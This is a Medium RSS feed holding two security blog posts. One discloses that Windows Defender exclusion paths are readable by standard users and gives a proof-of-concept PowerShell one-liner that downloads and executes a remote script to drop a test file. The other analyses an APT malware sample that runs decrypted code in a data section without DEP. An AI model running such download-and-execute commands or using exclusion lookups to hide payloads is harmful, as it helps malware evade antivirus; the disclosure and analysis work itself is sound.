<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Simone Aonzo on Medium]]></title>
        <description><![CDATA[Stories by Simone Aonzo on Medium]]></description>
        <link>https://medium.com/@simone.aonzo?source=rss-770bc91d1823------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*BlYJL0OaRcufpIAJdCDWJQ.jpeg</url>
            <title>Stories by Simone Aonzo on Medium</title>
            <link>https://medium.com/@simone.aonzo?source=rss-770bc91d1823------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 27 Nov 2026 21:43:56 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@simone.aonzo/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Dear Windows Defender, please tell me where I can drop my malicious code.]]></title>
            <link>https://medium.com/@simone.aonzo/dear-windows-defender-please-tell-me-where-i-can-drop-my-malicious-code-9c4f50f417a1?source=rss-770bc91d1823------2</link>
            <guid isPermaLink="false">https://medium.com/p/9c4f50f417a1</guid>
            <category><![CDATA[windows-defender]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[malware]]></category>
            <dc:creator><![CDATA[Simone Aonzo]]></dc:creator>
            <pubDate>Tue, 24 Mar 2020 12:38:05 GMT</pubDate>
            <atom:updated>2020-03-24T12:43:57.913Z</atom:updated>
            <content:encoded><![CDATA[<p>The <strong>Get-MpPreference </strong>cmdlet exposes the field <strong>ExclusionPath </strong>without administrator privilege.</p><p>What is the matter? An attacker can easily inspect if and which folders are not scanned by Windows Defender.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/444/1*1xZnSGL1j3G-TCzwEI8YcA.png" /></figure><p>For example, they can inspect this field, looking for a folder in which they can write and drop the next stage of their malware without being noticed.</p><p>Do you want a POC? Here we go.</p><ol><li>Exclude a folder from Windows Defender Security scan settings.</li><li>Open a Command Prompt from any user session (obviously not as administrator).</li><li>Run the following command; it downloads and executes a PS script:</li></ol><pre>powershell -nop -c &quot;iex(New-Object Net.WebClient).DownloadString(&#39;<a href="https://gist.githubusercontent.com/packmad/ab725f7e0d8eb00f1cf4c9e656cbf7f0/raw/c4984a27c68617136125f31387a8b2752c272d49/ExploitDefenderExclusionPOC.ps1">https://gist.githubusercontent.com/packmad/ab725f7e0d8eb00f1cf4c9e656cbf7f0/raw/c4984a27c68617136125f31387a8b2752c272d49/ExploitDefenderExclusionPOC.ps1</a>&#39;)&quot;</pre><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/e800a09f8185932d26ee9e639be505c1/href">https://medium.com/media/e800a09f8185932d26ee9e639be505c1/href</a></iframe><p>The PowerShell script “ExploitDefenderExclusionPOC.ps1” gets the ExclusionPath and tries to drop the <a href="https://www.eicar.org/?page_id=3950">EICAR Testfile</a>. Thus, if it finds a folder where it can write, it is able to write a malicious payload <em>without being noticed by the Windows Defender</em>.</p><p>I have contacted the Microsoft Security Response Center (MSRC) and they replied:</p><blockquote>We have completed our investigation, and determined that the case doesn’t meet the bar for immediate servicing in a security update. We anticipate no further action on this item from MSRC and will be closing out the case.</blockquote><blockquote>Rationale: GET operations in PowerShell work for standard users and changing this one command wouldn’t prevent the other ways standard users can access this information</blockquote><p>I am not aware of any other ways to get the ExclusionPath programmatically, but this is not the point of my rant.</p><p>I think we all agree that adding an exclusion to your antivirus opens a security hole. But there are cases where it is a necessary evil.</p><p>IMHO, allowing any user to query for the exclusions must be avoided. I do not see any legitimate scenario where a standard user needs to know the ExclusionPath. If the Administrator is the only one that can add an exclusion (and weakening the security chain), s?he should be the only one to get such information.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9c4f50f417a1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The importance of Data Execution Prevention in malware analysis]]></title>
            <link>https://medium.com/@simone.aonzo/the-importance-of-data-execution-prevention-in-malware-analysis-fd29d0c9e03e?source=rss-770bc91d1823------2</link>
            <guid isPermaLink="false">https://medium.com/p/fd29d0c9e03e</guid>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Simone Aonzo]]></dc:creator>
            <pubDate>Fri, 02 Aug 2019 12:23:25 GMT</pubDate>
            <atom:updated>2019-08-02T14:06:46.532Z</atom:updated>
            <content:encoded><![CDATA[<p>I wrote this (unpretentious) article to share an interesting spot that I have found while I was reversing an <a href="https://github.com/CyberMonitor/APT_CyberCriminal_Campagin_Collections/blob/master/2018/2018.09.20.Poison_Trumpet_Vine_Operation/samples/1d713ad7ee3a43432d6188707943ee9ef07241bbc7bda376a068989d7a248143.zip">APT-linked sample</a> (<a href="https://www.virustotal.com/gui/file/1d713ad7ee3a43432d6188707943ee9ef07241bbc7bda376a068989d7a248143/detection">VT report</a>). From this experience, I have learned an important concept about Windows internals, which malware authors exploit to fly under the radar.</p><p>So, you open the sample with <a href="https://www.winitor.com/">PEstudio</a>, and it shows the following layout of the sections [Figure 1].</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1004/1*tPyBlbhvsABNQkzXPRk1Pw.png" /><figcaption>Figure 1 — Sections</figcaption></figure><p>Nothing that sticks out, right? Low entropy levels, and no WX sections.</p><p>Let’s open it with Ida Pro, and enjoy the beautiful decompiled code [Figure 2].</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/225/1*dnS0344V_R40cWRQLyGZ4g.png" /><figcaption>Figure 2 — Hex-Rays output</figcaption></figure><p>Easy: this sample decrypts that memory region two times, XORing with two different 1 Byte long keys. At the very end of this function, it jumps to this decrypted memory region. But there is something strange: it jumps to the non-executable data section [Figure 3].</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/307/1*TOscdc4rN8w4pcdvt8b1Lw.png" /><figcaption>Figure 3 —</figcaption></figure><p>Probably there is some call to <a href="https://docs.microsoft.com/en-us/windows/desktop/api/memoryapi/nf-memoryapi-virtualprotect">VirtualProtect</a>; it is time to debug! You set a breakpoint on such libcall and another one at the end of the decryption function, then you start the sample, and the execution stops without any VirtualProtect invocation [Figure 4].</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/770/1*jZOkUad6hQfS9W_nEQHSSQ.png" /><figcaption>Figure 4 — End of the decryption function</figcaption></figure><p>You step a couple of instruction in the decrypted code [Figure 5], and you have a look at the permission of the section that contains this code [Figure 6], but something weird is up.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/671/1*JsJ-rkONNsgJGHBJSdpALg.png" /><figcaption>Figure 5 — Execution of decrypted code</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/540/1*f5r0K2CNGzdYyhjhvkCaLw.png" /><figcaption>Figure 6 — Memory runtime permission</figcaption></figure><p>Figures 5 and 6 are self-explanatory: this sample executes code in an RW memory region. How is it possible?</p><p>The answer lies in the <strong>Data Execution Prevention</strong> (DEP). DEP is the MS Windows implementation of <a href="https://en.wikipedia.org/wiki/Executable_space_protection">executable-space protection</a>.</p><blockquote>In computer security, <strong>executable-space protection</strong> marks memory regions as non-executable, such that an attempt to execute machine code in these regions will cause an exception. It makes use of hardware features such as the <a href="https://en.wikipedia.org/wiki/NX_bit">NX bit</a> (no-execute bit), or in some cases software emulation of those features. However technologies that somehow emulate or supply an NX bit will usually impose a measurable overhead; while using a hardware-supplied NX bit imposes no measurable overhead.</blockquote><p><a href="https://support.microsoft.com/en-us/help/875352/a-detailed-description-of-the-data-execution-prevention-dep-feature-in">This</a> Microsoft article explains that Windows supports four system-wide configurations, and by default:</p><blockquote>On systems with processors that can implement hardware-enforced DEP, DEP is enabled by default for limited system binaries and programs that “opt-in.”</blockquote><p>Here is the trick: without DEP [Figure 7], the OS does not enforce the execution permission; therefore, our sample can execute code within the RW “.<em>data” </em>section.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/587/1*quthCTet1ytf2xGt_Qo5Zg.png" /><figcaption>Figure 7 — DEP disabled</figcaption></figure><p>What happens if we enable the DEP on this sample? It crashes throwing an exception. Let’s take a closer look.</p><p>The <a href="https://github.com/OsandaMalith/PESecInfo">PESecInfo</a> tool can change DEP and ASLR values (located in the <a href="https://docs.microsoft.com/en-us/windows/desktop/debug/pe-format#dll-characteristics">DllCharacteristics</a> field of the optional PE header). If we enable DEP [Figure 8] and we rerun the sample, we obtain and EXCEPTION_ACCESS_VIOLATION [Figure 9], as expected.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/625/1*Idwox3cC5J3LjBR4UPUNAA.png" /><figcaption>Figure 8 — Enabling DEP with PESecInfo</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/716/1*9yx2jtEoyWXc_5sf-ivdKQ.png" /><figcaption>Figure 9 — EXCEPTION_ACCESS_VIOLATION</figcaption></figure><p><strong>Takeaway</strong>: you must always check sections permissions and the DEP field, bearing in mind that if the DEP is not set, the permissions are not enforced accordingly. Especially when you are considering features for your machine-learning model.</p><p>I want to thank <a href="https://twitter.com/LibraAnalysis">Libra</a> for his suggestions.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fd29d0c9e03e" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>